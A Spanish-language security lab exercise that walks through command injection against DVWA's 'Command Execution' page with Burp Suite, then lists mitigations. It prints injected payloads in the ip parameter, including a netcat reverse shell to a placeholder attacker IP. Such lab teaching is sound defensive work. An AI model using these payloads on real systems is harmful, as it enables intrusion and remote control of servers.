Práctica 03.-Ejecución remota de código con BurpSuite
En esta práctica, realizarás un ataque de ejecución remota de código (RCE - Remote Code Execution) sobre la funcionalidad "Command Execution" de Damn Vulnerable Web Application (DVWA) utilizando Burp Suite. Este ataque permite a un atacante ejecutar comandos arbitrarios en el servidor, lo que puede comprometer todo el sistema.
1. Requisitos Previos¶
✔️ DVWA ejecutándose en Metasploitable
✔️ Nivel de seguridad configurado en "Low" (DVWA Security → Low
)
✔️ Burp Suite instalado y configurado como proxy
2. Configurar Burp Suite como Proxy de Interceptación¶
1️⃣ Abrir Burp Suite y asegurarse de que el proxy está activado. 2️⃣ Configurar el navegador para que utilice Burp Suite como proxy HTTP.
- Firefox: Ir a
Opciones → Red → Configuración → Proxy Manual
- Proxy:
127.0.0.1
- Puerto:
8080
3️⃣ Acceder a DVWA a través del navegador con Burp activado:
http://<IP-METASPLOITABLE>/dvwa
3. Capturar la Petición de la Funcionalidad "Command Execution"¶
1️⃣ Ir a la funcionalidad "Command Execution" en DVWA.
2️⃣ Introducir una dirección IP válida en el campo del formulario (por ejemplo, 8.8.8.8
).
3️⃣ En Burp Suite, ir a la pestaña "Proxy" → "Intercept"
y asegurarse de que la captura está habilitada.
4️⃣ Presionar "Submit" en DVWA y capturar la petición HTTP.
📌 Ejemplo de petición capturada en Burp Suite:
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: <IP-METASPLOITABLE>
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Cookie: security=low; PHPSESSID=123456789abcdef
Connection: close
ip=8.8.8.8&submit=Submit
4. Modificar la Petición para Ejecutar Comandos en el Servidor¶
1️⃣ En la solicitud capturada en Burp Suite, modificar el valor del parámetro ip
para inyectar comandos.
2️⃣ Ejemplo de inyección de comandos (concatenando con ;
):
📌 Ejemplo 1: Enumerar información del sistema
ip=8.8.8.8; uname -a
📌 Ejemplo 2: Listar archivos del servidor
ip=8.8.8.8; ls -la
📌 Ejemplo 3: Crear un archivo en el servidor
ip=8.8.8.8; touch /tmp/hacked.txt
📌 Ejemplo 4: Obtener acceso interactivo (reverse shell)
ip=8.8.8.8; nc -e /bin/bash <TU_IP> <PUERTO>
(Esto requiere un listener en tu máquina atacante con: nc -lvnp <PUERTO>
).
3️⃣ Presionar "Forward" en Burp Suite para enviar la petición modificada al servidor.
5. Verificación del Ataque¶
🔹 Si la aplicación es vulnerable, la respuesta incluirá la salida del comando inyectado.
🔹 Para comprobarlo, probar con whoami
o id
para ver con qué usuario se ejecuta el servidor.
6. Prevención del Ataque¶
🔹 Validar la entrada del usuario para permitir solo direcciones IP válidas.
🔹 Utilizar listas blancas para restringir comandos permitidos.
🔹 Ejecutar procesos en entornos restringidos (chroot, contenedores, usuarios limitados).
🔹 Deshabilitar funciones peligrosas en PHP (exec
, system
, shell_exec
).
7. Conclusión¶
Usando Burp Suite, has logrado explotar una vulnerabilidad de ejecución remota de código (RCE) en DVWA. Este ataque demuestra la importancia de validar las entradas del usuario y aplicar restricciones en la ejecución de comandos en el servidor.
¡Ahora puedes probar diferentes comandos y analizar cómo mitigar este tipo de vulnerabilidad en aplicaciones reales! 🚀